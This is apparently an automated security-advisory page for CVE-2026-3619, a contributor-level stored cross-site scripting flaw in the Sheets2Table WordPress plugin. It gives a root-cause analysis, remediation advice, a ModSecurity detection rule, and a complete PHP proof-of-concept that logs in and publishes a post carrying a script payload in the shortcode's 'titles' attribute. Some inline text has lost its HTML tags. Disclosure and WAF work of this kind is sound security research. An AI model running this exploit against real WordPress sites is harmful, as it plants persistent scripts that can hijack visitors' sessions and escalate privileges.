Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 28, 2026

CVE-2026-3619: Sheets2Table <= 0.4.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'titles' Shortcode Attribute (sheets2table)

CVE ID CVE-2026-3619
Plugin sheets2table
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 0.4.1
Patched Version
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3619 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Sheets2Table WordPress plugin. The vulnerability exists in the plugin’s shortcode handler for the [sheets2table-render-table] shortcode, specifically within the processing of the ‘titles’ attribute. Attackers with Contributor-level permissions or higher can inject malicious scripts that execute when any user views a compromised page or post. The CVSS 6.4 score reflects the combination of authenticated access requirements and the stored nature of the attack.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The vulnerability description confirms that user-supplied ‘titles’ attribute values pass through S2T_Functions::trim_array_values(), which only removes whitespace. The values then echo directly into HTML within

tags via `echo $header` in the display_table_header() function without using esc_html() or similar escaping functions. This analysis is based on the provided description; no source code verification was possible due to unavailable plugin versions.

Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post or page containing the [sheets2table-render-table] shortcode with a malicious ‘titles’ attribute payload. Example payload: `[sheets2table-render-table titles=”alert(document.domain)”]`. When any user views the compromised content, the browser executes the injected JavaScript within the table header context. The attack persists across sessions because the payload stores within post content.

Remediation requires implementing proper output escaping. The plugin should replace direct `echo $header` statements with `echo esc_html($header)` within the display_table_header() function. Additionally, input validation should restrict ‘titles’ attribute values to expected data types. WordPress security best practices mandate using esc_html(), esc_attr(), or wp_kses() functions when outputting user-controlled data to HTML contexts.

Successful exploitation allows attackers to perform actions within the victim’s browser context. Attackers can steal session cookies, redirect users to malicious sites, or perform actions on behalf of authenticated users. The stored nature means a single injection affects all visitors to the compromised page. While Contributor privileges limit initial access, this vulnerability could facilitate privilege escalation if administrators view infected content.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3619 (metadata-based)
# This rule blocks exploitation attempts targeting the Sheets2Table plugin's shortcode handler
# The rule matches posts containing the vulnerable shortcode with malicious 'titles' attributes
SecRule REQUEST_METHOD "@streq POST" 
  "id:1003619,phase:2,deny,status:403,chain,msg:'CVE-2026-3619: Sheets2Table Stored XSS via titles attribute',severity:'CRITICAL',tag:'CVE-2026-3619',tag:'WordPress',tag:'Plugin:sheets2table',tag:'Attack/XSS'"
  SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/(posts|pages)" 
    "chain"
    SecRule REQUEST_BODY "@rx \[sheets2table-render-table[^\]]*titles\s*=\s*[\"\'][^\"\']*[<>\(\[].*?[\"\']" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3619 - Sheets2Table <= 0.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'titles' Shortcode Attribute

<?php
/**
 * Proof of Concept for CVE-2026-3619
 * Assumptions:
 * 1. Target WordPress site has Sheets2Table plugin <= 0.4.1 installed
 * 2. Attacker has valid Contributor-level credentials
 * 3. WordPress uses standard admin-ajax.php and REST API endpoints
 * 4. The plugin's shortcode handler processes 'titles' attribute as described
 */

$target_url = 'https://target-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_pass'; // CONFIGURE THIS

// Step 1: Authenticate and obtain nonce for post creation
function authenticate_and_get_nonce($base_url, $user, $pass) {
    $login_url = $base_url . '/wp-login.php';
    $admin_url = $base_url . '/wp-admin/';
    
    // Create temporary cookie file
    $cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
    
    // Initialize session
    $ch = curl_init($login_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => $cookie_file,
        CURLOPT_COOKIEFILE => $cookie_file,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'log' => $user,
            'pwd' => $pass,
            'wp-submit' => 'Log In',
            'redirect_to' => $admin_url,
            'testcookie' => '1'
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded'
        ]
    ]);
    $response = curl_exec($ch);
    
    // Get REST API nonce for post creation
    $nonce_url = $base_url . '/wp-admin/admin-ajax.php?action=rest-nonce';
    curl_setopt_array($ch, [
        CURLOPT_URL => $nonce_url,
        CURLOPT_POST => false
    ]);
    $nonce_response = curl_exec($ch);
    curl_close($ch);
    
    // Extract nonce from response (simplified - actual implementation may vary)
    preg_match('/"nonce":"([a-f0-9]+)"/', $nonce_response, $matches);
    $nonce = $matches[1] ?? '';
    
    return ['cookies' => $cookie_file, 'nonce' => $nonce];
}

// Step 2: Create post with malicious shortcode
function create_malicious_post($base_url, $auth_data) {
    $create_url = $base_url . '/wp-json/wp/v2/posts';
    
    // XSS payload in 'titles' attribute
    $payload = '<script>alert(`Atomic Edge Research: XSS via ${document.domain}`)</script>';
    $shortcode = '[sheets2table-render-table titles="' . $payload . '"]';
    
    $ch = curl_init($create_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => $auth_data['cookies'],
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => json_encode([
            'title' => 'Test Post - CVE-2026-3619',
            'content' => 'This post contains the malicious shortcode: ' . $shortcode,
            'status' => 'publish'
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WP-Nonce: ' . $auth_data['nonce']
        ]
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code === 201) {
        $response_data = json_decode($response, true);
        return $response_data['link'] ?? '';
    }
    
    return false;
}

// Execute PoC
$auth = authenticate_and_get_nonce($target_url, $username, $password);

if (empty($auth['nonce'])) {
    echo "Authentication failed or nonce not obtainedn";
    exit;
}

$post_url = create_malicious_post($target_url, $auth);

if ($post_url) {
    echo "Exploit successful! Post created at: " . $post_url . "n";
    echo "Visit the page to trigger XSS payload.n";
} else {
    echo "Failed to create malicious postn";
}

// Cleanup
if (isset($auth['cookies']) && file_exists($auth['cookies'])) {
    unlink($auth['cookies']);
}
?>

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